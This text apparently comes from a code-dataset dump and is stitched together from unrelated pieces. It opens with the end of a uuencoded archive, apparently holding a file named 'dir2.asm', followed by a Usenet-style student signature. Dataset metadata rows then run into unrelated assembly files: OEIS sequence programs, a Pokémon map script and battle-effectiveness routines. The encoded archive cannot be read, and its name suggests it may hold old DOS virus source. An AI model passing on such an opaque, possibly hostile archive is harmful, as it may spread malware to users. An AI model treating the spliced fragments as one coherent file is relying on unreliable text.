M'*#K/.2AX"0WDB9E(^C/*V<;E,H0JDE7&T?'+%Z1?"U(@9]H[I4:K"65FU>H
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
K`````0```*2!`````&1I<C(N87-M4$L%!@`````!``$`-@```$L;````````
`
end
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"
| 56.618557 | 159 | 0.590677 |
aacdb5aaaa29632f4d00f1385f9c8b5cc93f63fd | 390 | asm | Assembly | oeis/199/A199927.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/199/A199927.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/199/A199927.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A199927: Trisection 0 of A199802.
; Submitted by Christian Krause
; 1,1,-7,3,32,-55,-95,399,-11,-2024,2573,7137,-22015,-9073,123712,-107499,-498119,1168399,1090985,-7323600,3535193,33005393,-59095943,-95072229,420022144,-36762335,-2099324671,2798230719,7241608157,-23295324088,-8015161307,128935159185,-119396284895,-509999348249
mul $0,3
seq $0,199802 ; G.f.: 1/(1-2*x+2*x^2-x^3+x^4).
| 55.714286 | 263 | 0.746154 |
38b9b8d5dc8377409fb5a64caf34098a815a9342 | 488 | asm | Assembly | programs/oeis/183/A183897.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/183/A183897.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/183/A183897.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A183897: Number of nondecreasing arrangements of n+3 numbers in 0..2 with each number being the sum mod 3 of three others.
; 1,7,17,25,34,44,55,67,80,94,109,125,142,160,179,199,220,242,265,289,314,340,367,395,424,454,485,517,550,584,619,655,692,730,769,809,850,892,935,979,1024,1070,1117,1165,1214,1264,1315,1367,1420,1474,1529,1585,1642,1700,1759,1819,1880,1942,2005,2069,2134,2200
add $0,2
mov $2,3
div $2,$0
add $0,2
mul $0,2
add $0,2
sub $2,1
sub $0,$2
pow $0,2
div $0,8
sub $0,11
| 32.533333 | 259 | 0.715164 |
2161ba2bc43d1b2c0beae135a55ad3af5d599aac | 336 | asm | Assembly | maps/NewBarkTown.asm | zavytar/pokecolorless | 5fa4930f9f90acaff7ae62367e3d9feae0404464 | [
"blessing"
] | null | null | null | maps/NewBarkTown.asm | zavytar/pokecolorless | 5fa4930f9f90acaff7ae62367e3d9feae0404464 | [
"blessing"
] | null | null | null | maps/NewBarkTown.asm | zavytar/pokecolorless | 5fa4930f9f90acaff7ae62367e3d9feae0404464 | [
"blessing"
] | null | null | null |
NewBarkTown_MapScripts:
db 0 ; scene scripts
db 1 ; callbacks
callback MAPCALLBACK_NEWMAP, .FlyPoint
.FlyPoint:
setflag ENGINE_FLYPOINT_NEW_BARK
clearevent EVENT_FIRST_TIME_BANKING_WITH_MOM
return
NewBarkTown_MapEvents:
db 0, 0 ; filler
db 0 ; warp events
db 0 ; coord events
db 0 ; bg events
db 0 ; object events
| 12.923077 | 45 | 0.758929 |
bfb63fbdf6ba4334c0ac82e11b55f2ebb5d2eaa0 | 535 | asm | Assembly | engine/battle/display_effectiveness.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | engine/battle/display_effectiveness.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | engine/battle/display_effectiveness.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | DisplayEffectiveness:
ldh a, [hWhoseTurn]
and a
jr nz, .chooseText
ld hl, wEnemyBattleStatus3
set SUPER_AFFECTED, [hl]
.chooseText
ld a, [wDamageMultipliers]
and $7F
cp $0A
jr z, .resolve
ld hl, SuperEffectiveText
jr nc, .done
ld hl, wEnemyBattleStatus3
res SUPER_AFFECTED, [hl]
ld hl, NotVeryEffectiveText
.done
jp PrintText
.resolve
ld hl, wEnemyBattleStatus3
res SUPER_AFFECTED, [hl]
ret
SuperEffectiveText:
text_far _SuperEffectiveText
text_end
NotVeryEffectiveText:
text_far _NotVeryEffectiveText
text_end
| 17.258065 | 31 | 0.779439 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.